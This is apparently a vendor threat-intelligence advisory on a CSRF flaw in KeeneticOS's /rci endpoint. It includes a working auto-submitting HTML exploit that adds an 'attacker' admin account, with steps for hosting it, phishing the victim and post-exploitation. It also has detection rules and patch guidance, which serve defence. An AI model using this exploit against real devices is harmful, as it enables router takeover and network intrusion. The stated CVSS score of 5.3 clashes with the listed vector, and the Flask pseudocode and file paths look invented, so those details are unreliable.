CVE-2025-56009

Executive Summary

CVE-2025-56009 is a critical Cross-Site Request Forgery (CSRF) vulnerability in KeeneticOS, affecting versions prior to 4.3. The flaw resides in the /rci API endpoint, allowing an attacker to forge requests that add new administrative users with full permissions. Successful exploitation requires the victim to visit a malicious page while authenticated to the Keenetic device. The CVSS score is 5.3 (Medium), but the impact is severe as it leads to full device takeover. The vendor has released a patch in version 4.3.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in KeeneticOS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must open a malicious page)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High – Despite the medium CVSS score, the ability to gain full administrative control over a network device makes this a critical threat.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the /rci API endpoint of KeeneticOS. The endpoint does not implement anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page that, when visited by an authenticated Keenetic administrator, sends a forged HTTP request to /rci to add a new user with full permissions.

Attack Flow:

1. Attacker identifies a target Keenetic device (e.g., via Shodan).
2. Attacker crafts a malicious page containing a hidden form or JavaScript that sends a POST request to http://<target>/rci with parameters to create a new admin user.
3. Victim (authenticated admin) visits the malicious page.
4. The browser automatically sends the forged request, including the victim's session cookies.
5. The /rci endpoint processes the request, adding a new admin user controlled by the attacker.
6. Attacker logs in with the new credentials and takes over the device.

Vulnerable vs. Patched Code

Vulnerable Code (KeeneticOS < 4.3): The /rci endpoint does not validate the origin of requests. It accepts any POST request with valid session cookies.

# Pseudocode for vulnerable endpoint
@app.route('/rci', methods=['POST'])
def rci():
    # No CSRF token check
    action = request.form.get('action')
    if action == 'add_user':
        username = request.form.get('username')
        password = request.form.get('password')
        add_admin_user(username, password)
        return 'OK'

Patched Code (KeeneticOS >= 4.3): The endpoint now validates a CSRF token or checks the Origin/Referer header.

# Pseudocode for patched endpoint
@app.route('/rci', methods=['POST'])
def rci():
    # CSRF token validation
    token = request.form.get('csrf_token')
    if not validate_csrf_token(token):
        return 'CSRF validation failed', 403
    action = request.form.get('action')
    if action == 'add_user':
        username = request.form.get('username')
        password = request.form.get('password')
        add_admin_user(username, password)
        return 'OK'

Exploitation & Lab Setup

Red Team

Exploit HTML Page: Create a file exploit.html with the following content. Host it on a server the victim can access.

<html>
<body>
<form id="csrf" action="http://<target>/rci" method="POST">
  <input type="hidden" name="action" value="add_user">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="password" value="attacker123">
</form>
<script>
  document.getElementById('csrf').submit();
</script>
</body>
</html>

Usage:

1. Replace <target> with the IP or domain of the Keenetic device.
2. Host the HTML file on a web server (e.g., using Python: python3 -m http.server 8080).
3. Send the link to the victim (e.g., via phishing email).
4. Once the victim opens the page while logged into the Keenetic device, the attacker user is created.

Post-Exploitation:

• Log in to the Keenetic device using attacker / attacker123.
• Change DNS settings, exfiltrate data, or pivot to internal network.

Blue Team

Detection:

• Monitor for unexpected user creation events in Keenetic logs.
• Look for suspicious POST requests to /rci with action=add_user.
• Use network monitoring to detect unusual outbound connections from the Keenetic device.

Prevention:

• Apply the patch (upgrade to KeeneticOS 4.3+).
• Implement network segmentation to limit exposure of the Keenetic device.
• Use a web application firewall (WAF) to block requests to /rci without proper CSRF tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /rci with parameters action=add_user, username, password.
  • Unusual admin login attempts from new IPs.
• Host IOCs:
  • New user accounts in the Keenetic device's user database.
  • Modified configuration files (e.g., /etc/config/users).
• Log IOCs:
  • Keenetic logs showing User added events without prior admin action.

Detection Engineering

YARA Rule

rule CVE_2025_56009_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2025-56009"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56009"
    strings:
        $csrf_form = "action=add_user" nocase
        $csrf_param = "username=" nocase
        $csrf_pass = "password=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-56009 CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /rci with add_user action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /rci
        cs-uri-query|contains: "action=add_user"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56009 CSRF Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/rci"; http_uri; content:"action=add_user"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all Keenetic devices to KeeneticOS version 4.3 or later.
2. If immediate patching is not possible, restrict access to the /rci endpoint using firewall rules (allow only trusted IPs).
3. Implement additional authentication mechanisms (e.g., multi-factor authentication) for admin access.

Long-Term Measures:

• Regularly update firmware.
• Conduct security audits of web interfaces.
• Implement CSRF tokens in all state-changing API endpoints.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.